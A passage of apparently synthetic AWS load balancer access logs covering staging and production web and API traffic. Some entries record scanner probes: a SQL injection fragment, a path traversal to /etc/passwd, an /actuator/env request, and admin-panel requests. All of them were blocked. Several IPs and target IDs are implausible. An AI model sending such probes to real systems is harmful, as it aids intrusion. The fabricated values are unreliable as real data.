ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc62-90ec680a60dc400e99878938" "staging-alb.example.com" "-" 4 2024-11-01T02:37:06.598464Z "forward" "-" "-" "23.35.150.207:80" "302" "-" "-" -https 2024-11-01T02:37:06.895621Z prod-web-alb 80.239.110.168:13985 10.0.254.202:443 0.007658 0.426963 0.004706 200 200 469 696 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc62-9cc5f156a3c345d787da8c49" "prod-web-alb.example.com" "-" 3 2024-11-01T02:37:06.895621Z "forward" "-" "-" "10.0.254.202:443" "200" "-" "-" -https 2024-11-01T02:37:07.427159Z prod-web-alb 26.48.86.111:39288 10.0.144.30:443 0.040107 0.440646 0.014080 404 404 331 6087 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc63-800db76c81884dd987307572" "prod-web-alb.example.com" "-" 5 2024-11-01T02:37:07.427159Z "forward" "-" "-" "10.0.144.30:443" "404" "-" "-" -https 2024-11-01T02:37:07.709730Z prod-api-alb 185.181.112.119:43602 10.0.143.134:443 0.002207 0.330722 0.064497 404 404 677 1954 "PUT /actuator/env HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc63-7b72cd325297463693d58bea" "-" "-" 2 2024-11-01T02:37:07.709730Z "forward" "-" "-" "10.0.143.134:443" "404" "-" "-" -https 2024-11-01T02:37:08.896834Z prod-web-alb 185.181.21.23:59676 10.0.195.137:443 0.020651 0.111128 0.089728 403 403 184 4744 "POST /search?q=1' UNION SELECT HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc64-d3a00dbe564e448a985c035b" "-" "-" 8 2024-11-01T02:37:08.896834Z "forward" "-" "-" "10.0.195.137:443" "403" "-" "-" -https 2024-11-01T02:37:09.402072Z prod-api-alb 230.162.99.126:51173 10.0.205.180:443 0.046007 0.429735 0.030404 200 200 640 14125 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc65-65b7265410b34ee1906d1b37" "-" "-" 2 2024-11-01T02:37:09.402072Z "forward" "-" "-" "10.0.205.180:443" "200" "-" "-" -https 2024-11-01T02:37:10.170772Z prod-api-alb 75.112.94.169:56066 10.0.177.240:443 0.064799 0.481912 0.013694 302 302 617 2222 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc66-6e22f06ae88c4bddb40944a6" "prod-api-alb.example.com" "-" 7 2024-11-01T02:37:10.170772Z "forward" "-" "-" "10.0.177.240:443" "302" "-" "-" -https 2024-11-01T02:37:11.821321Z prod-api-alb 133.123.122.8:36956 10.0.134.20:443 0.069105 0.115965 0.019760 200 200 384 3266 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc67-4ef50a21dee746f7842fa497" "prod-api-alb.example.com" "-" 9 2024-11-01T02:37:11.821321Z "forward" "-" "-" "10.0.134.20:443" "200" "-" "-" -https 2024-11-01T02:37:12.493930Z prod-api-alb 45.155.205.151:56768 10.0.184.184:443 0.078047 0.018997 0.067228 401 401 526 8473 "POST /adminer.php HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc68-b2088532b1e045cdbf621fc5" "-" "-" 8 2024-11-01T02:37:12.493930Z "forward" "-" "-" "10.0.184.184:443" "401" "-" "-" -http 2024-11-01T02:37:14.210053Z staging-alb 167.157.177.38:51459 217.17.52.47:80 0.099506 0.475805 0.059699 200 200 630 4472 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc6a-bccf3915e3d146778abc250e" "staging-alb.example.com" "-" 0 2024-11-01T02:37:14.210053Z "forward" "-" "-" "217.17.52.47:80" "200" "-" "-" -https 2024-11-01T02:37:15.044413Z prod-web-alb 125.1.162.215:10862 10.0.34.85:443 0.054998 0.294589 0.016342 301 301 283 10119 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc6b-fca09ab4932743f790550f8a" "prod-web-alb.example.com" "-" 6 2024-11-01T02:37:15.044413Z "forward" "-" "-" "10.0.34.85:443" "301" "-" "-" -https 2024-11-01T02:37:15.648014Z prod-web-alb 52.141.168.64:10062 10.0.146.120:443 0.076864 0.321589 0.016216 200 200 573 12247 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc6b-187b6ca1ffaf4ab7b4add02d" "prod-web-alb.example.com" "-" 2 2024-11-01T02:37:15.648014Z "forward" "-" "-" "10.0.146.120:443" "200" "-" "-" -https 2024-11-01T02:37:15.914855Z prod-api-alb 135.225.243.230:42061 10.0.60.139:443 0.032053 0.038956 0.071850 301 301 382 7295 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc6b-4095e01822af425e870bd543" "prod-api-alb.example.com" "-" 1 2024-11-01T02:37:15.914855Z "forward" "-" "-" "10.0.60.139:443" "301" "-" "-" -https 2024-11-01T02:37:17.258571Z prod-api-alb 26.13.241.224:61890 10.0.151.31:443 0.090206 0.349574 0.022454 302 302 646 8684 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc6d-4a61ede30eca4161bf1a1f8d" "prod-api-alb.example.com" "-" 9 2024-11-01T02:37:17.258571Z "forward" "-" "-" "10.0.151.31:443" "302" "-" "-" -https 2024-11-01T02:37:17.960344Z prod-web-alb 234.96.112.3:23932 10.0.130.19:443 0.081060 0.317224 0.050139 200 200 415 2960 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc6d-8859b7e2b5814d93be6fca00" "-" "-" 1 2024-11-01T02:37:17.960344Z "forward" "-" "-" "10.0.130.19:443" "200" "-" "-" -https 2024-11-01T02:37:19.387487Z prod-web-alb 156.172.27.66:26005 10.0.178.162:443 0.070044 0.010795 0.076419 301 301 501 4859 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc6f-1abfdf9c710b4b47b910da7f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:37:19.387487Z "forward" "-" "-" "10.0.178.162:443" "301" "-" "-" -https 2024-11-01T02:37:20.966675Z prod-web-alb 186.107.206.194:18308 10.0.182.61:443 0.078017 0.120357 0.032043 301 301 251 11330 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc70-c0b25d5dd2cc41b0b9727882" "prod-web-alb.example.com" "-" 6 2024-11-01T02:37:20.966675Z "forward" "-" "-" "10.0.182.61:443" "301" "-" "-" -https 2024-11-01T02:37:21.342108Z prod-api-alb 50.202.186.237:18558 10.0.78.67:443 0.080199 0.437318 0.021937 200 200 977 550 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc71-6db85e382bde4b16b182acb7" "prod-api-alb.example.com" "-" 5 2024-11-01T02:37:21.342108Z "forward" "-" "-" "10.0.78.67:443" "200" "-" "-" -https 2024-11-01T02:37:21.788211Z prod-api-alb 13.30.82.20:44843 10.0.48.180:443 0.038217 0.204897 0.092960 200 200 931 3500 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc71-cfbfd800451344aba696da3d" "prod-api-alb.example.com" "-" 10 2024-11-01T02:37:21.788211Z "forward" "-" "-" "10.0.48.180:443" "200" "-" "-" -https 2024-11-01T02:37:23.213931Z prod-web-alb 178.37.100.116:20194 10.0.247.249:443 0.021584 0.278011 0.008436 200 200 993 4196 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc73-8856658287ca4664a98f5da0" "prod-web-alb.example.com" "-" 8 2024-11-01T02:37:23.213931Z "forward" "-" "-" "10.0.247.249:443" "200" "-" "-" -https 2024-11-01T02:37:24.027203Z prod-web-alb 224.95.120.19:29818 10.0.4.56:443 0.059246 0.350370 0.088077 200 200 291 13902 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc74-eca6fa45a6d648f399b55d51" "prod-web-alb.example.com" "-" 7 2024-11-01T02:37:24.027203Z "forward" "-" "-" "10.0.4.56:443" "200" "-" "-" -https 2024-11-01T02:37:24.810494Z prod-web-alb 91.140.68.25:15667 10.0.172.251:443 0.020189 0.063392 0.005892 302 302 471 3369 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc74-173214adaf0d42839e668b84" "prod-web-alb.example.com" "-" 5 2024-11-01T02:37:24.810494Z "forward" "-" "-" "10.0.172.251:443" "302" "-" "-" -https 2024-11-01T02:37:25.694973Z prod-web-alb 142.71.103.109:51036 10.0.20.158:443 0.088729 0.172218 0.011409 302 302 725 918 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc75-3c32f33283314eacac25b86e" "-" "-" 6 2024-11-01T02:37:25.694973Z "forward" "-" "-" "10.0.20.158:443" "302" "-" "-" -https 2024-11-01T02:37:25.840898Z staging-alb 35.130.33.24:33426 76.208.192.113:443 0.055752 0.136809 0.001957 200 200 14 3868 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc75-2cbd9108f8a14c6b8e246419" "staging-alb.example.com" "-" 3 2024-11-01T02:37:25.840898Z "forward" "-" "-" "76.208.192.113:443" "200" "-" "-" -https 2024-11-01T02:37:26.722165Z prod-api-alb 94.231.143.21:52070 10.0.70.223:443 0.072979 0.147761 0.044287 200 200 221 13976 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc76-a5c1d5a577b44d4ab1abd0f7" "prod-api-alb.example.com" "-" 4 2024-11-01T02:37:26.722165Z "forward" "-" "-" "10.0.70.223:443" "200" "-" "-" -https 2024-11-01T02:37:27.564176Z prod-web-alb 54.51.128.230:28989 10.0.2.7:443 0.097275 0.099205 0.058674 200 200 275 4356 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc77-0117fd4ff3c24e0b972a073e" "prod-web-alb.example.com" "-" 0 2024-11-01T02:37:27.564176Z "forward" "-" "-" "10.0.2.7:443" "200" "-" "-" -https 2024-11-01T02:37:27.724030Z prod-api-alb 171.30.103.230:45990 10.0.9.185:443 0.071137 0.172608 0.096821 200 200 127 7343 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc77-fac53f36261a4940b5d1e220" "prod-api-alb.example.com" "-" 0 2024-11-01T02:37:27.724030Z "forward" "-" "-" "10.0.9.185:443" "200" "-" "-" -https 2024-11-01T02:37:29.185022Z prod-api-alb 142.52.232.37:12560 10.0.158.244:443 0.029591 0.477405 0.008831 200 200 155 8908 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc79-f83aa2abf95b44b0ac5e1277" "prod-api-alb.example.com" "-" 0 2024-11-01T02:37:29.185022Z "forward" "-" "-" "10.0.158.244:443" "200" "-" "-" -https 2024-11-01T02:37:31.144632Z staging-alb 116.225.216.32:28222 166.214.230.45:443 0.054902 0.518624 0.132230 302 302 915 6213 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc7b-2258e52e915c4779a8330e0a" "staging-alb.example.com" "-" 2 2024-11-01T02:37:31.144632Z "forward" "-" "-" "166.214.230.45:443" "302" "-" "-" -https 2024-11-01T02:37:31.572248Z prod-web-alb 76.229.97.230:42194 10.0.130.156:443 0.013907 0.476276 0.009488 302 302 336 3136 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc7b-88d323b4c87a4fdb9c853649" "prod-web-alb.example.com" "-" 1 2024-11-01T02:37:31.572248Z "forward" "-" "-" "10.0.130.156:443" "302" "-" "-" -https 2024-11-01T02:37:33.271054Z prod-web-alb 147.77.85.230:54910 10.0.235.78:443 0.080316 0.037595 0.083415 200 200 558 2554 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc7d-b786ee64fd994159b578736f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:37:33.271054Z "forward" "-" "-" "10.0.235.78:443" "200" "-" "-" -https 2024-11-01T02:37:34.791489Z prod-web-alb 185.181.162.113:29438 10.0.79.196:443 0.093423 0.387473 0.019787 403 403 960 6647 "GET /../../../etc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc7e-4a19ce71a354414ca459c54e" "-" "-" 9 2024-11-01T02:37:34.791489Z "forward" "-" "-" "10.0.79.196:443" "403" "-" "-" -https 2024-11-01T02:37:35.602932Z prod-api-alb 209.38.107.228:25234 10.0.109.11:443 0.004620 0.375346 0.099582 302 302 174 8795 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc7f-a7981b47d0d74a86b4870216" "prod-api-alb.example.com" "-" 7 2024-11-01T02:37:35.602932Z "forward" "-" "-" "10.0.109.11:443" "302" "-" "-" -https 2024-11-01T02:37:35.739993Z prod-api-alb 222.59.255.0:26201 10.0.106.64:443 0.067844 0.223345 0.098648 404 404 564 8614 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc7f-71d9eb7b5167423dab451fe1" "prod-api-alb.example.com" "-" 1 2024-11-01T02:37:35.739993Z "forward" "-" "-" "10.0.106.64:443" "404" "-" "-" -https 2024-11-01T02:37:36.612226Z prod-web-alb 115.235.18.65:46491 10.0.206.151:443 0.029708 0.121751 0.028072 404 404 962 4024 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc80-12d50b93f64640ccbbe041c3" "prod-web-alb.example.com" "-" 2 2024-11-01T02:37:36.612226Z "forward" "-" "-" "10.0.206.151:443" "404" "-" "-" -https 2024-11-01T02:37:37.956804Z prod-web-alb 16.144.35.243:18614 10.0.53.171:443 0.086406 0.163373 0.071205 200 200 780 1811 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc81-7ffea66b81f447b4b9c3b721" "prod-web-alb.example.com" "-" 1 2024-11-01T02:37:37.956804Z "forward" "-" "-" "10.0.53.171:443" "200" "-" "-" -https 2024-11-01T02:37:39.289969Z prod-web-alb 18.215.221.190:24874 10.0.110.100:443 0.027302 0.015497 0.087999 200 200 18 5317 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc83-bd01852d7429432d8be37db1" "prod-web-alb.example.com" "-" 2 2024-11-01T02:37:39.289969Z "forward" "-" "-" "10.0.110.100:443" "200" "-" "-" -https 2024-11-01T02:37:40.702558Z staging-alb 68.130.219.110:13067 3.49.153.66:8080 0.043611 0.007022 0.020674 200 200 235 2214 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc84-05ff179e4aef4b0d9d9516a8" "staging-alb.example.com" "-" 7 2024-11-01T02:37:40.702558Z "forward" "-" "-" "3.49.153.66:8080" "200" "-" "-" -http 2024-11-01T02:37:42.267852Z staging-alb 106.213.136.208:13449 103.219.62.174:8080 0.121847 0.343373 0.089715 404 404 453 8530 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc86-b6358ff25f0c4eb398a63b07" "staging-alb.example.com" "-" 7 2024-11-01T02:37:42.267852Z "forward" "-" "-" "103.219.62.174:8080" "404" "-" "-" -https 2024-11-01T02:37:44.215183Z staging-alb 124.108.71.180:28785 60.15.204.104:443 0.007108 0.344033 0.036593 200 200 385 13128 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc88-6be7c544ec5b4510ad7c9cde" "staging-alb.example.com" "-" 5 2024-11-01T02:37:44.215183Z "forward" "-" "-" "60.15.204.104:443" "200" "-" "-" -https 2024-11-01T02:37:44.867842Z staging-alb 198.79.81.73:49762 17.124.242.119:8080 0.107176 0.372160 0.115818 200 200 684 1058 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc88-a019de80e5ec44ba8655022d" "staging-alb.example.com" "-" 1 2024-11-01T02:37:44.867842Z "forward" "-" "-" "17.124.242.119:8080" "200" "-" "-" -https 2024-11-01T02:37:45.012391Z prod-web-alb 117.62.174.90:32696 10.0.250.177:443 0.053918 0.126642 0.072565 200 200 891 10505 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc89-2f8cc3c98c30486e91426716" "prod-web-alb.example.com" "-" 0 2024-11-01T02:37:45.012391Z "forward" "-" "-" "10.0.250.177:443" "200" "-" "-" -http 2024-11-01T02:37:45.199167Z staging-alb 193.27.228.109:46947 130.99.198.152:80 0.081586 0.684211 0.125564 401 401 234 730 "POST /administrator HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc89-2547d4b599f640d282360d89" "-" "-" 2 2024-11-01T02:37:45.199167Z "forward" "-" "-" "130.99.198.152:80" "401" "-" "-" -https 2024-11-01T02:37:45.752712Z prod-web-alb 173.192.11.199:24842 10.0.236.93:443 0.069052 0.093276 0.074882 301 301 664 10154 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc89-09202e4ab91647b6a929e2c4" "prod-web-alb.example.com" "-" 7 2024-11-01T02:37:45.752712Z "forward" "-" "-" "10.0.236.93:443" "301" "-" "-" -https 2024-11-01T02:37:46.110717Z prod-api-alb 35.189.16.244:13612 10.0.147.40:443 0.044850 0.233854 0.064937 200 200 84 1401 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc8a-1ed19f1110eb42d9953470cf" "prod-api-alb.example.com" "-" 4 2024-11-01T02:37:46.110717Z "forward" "-" "-" "10.0.147.40:443" "200" "-" "-" -https 2024-11-01T02:37:46.521625Z prod-web-alb 252.129.120.98:38896 10.0.170.28:443 0.094530 0.480002 0.052459 301 301 213 3342 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc8a-07bee229a9f346c4b63a79ca" "prod-web-alb.example.com" "-" 7 2024-11-01T02:37:46.521625Z "forward" "-" "-" "10.0.170.28:443" "301" "-" "-" -https 2024-11-01T02:37:48.385500Z prod-api-alb 121.198.67.99:59621 10.0.115.145:443 0.010811 0.090725 0.001206 200 200 35 13770 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc8c-b89ddd7a0a914d9d865f4d50" "prod-api-alb.example.com" "-" 9 2024-11-01T02:37:48.385500Z "forward" "-" "-" "10.0.115.145:443" "200" "-" "-" -https 2024-11-01T02:37:49.164072Z staging-alb 161.84.200.233:22646 219.188.7.158:443 0.072003 0.290481 0.046925 200 200 618 7933 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 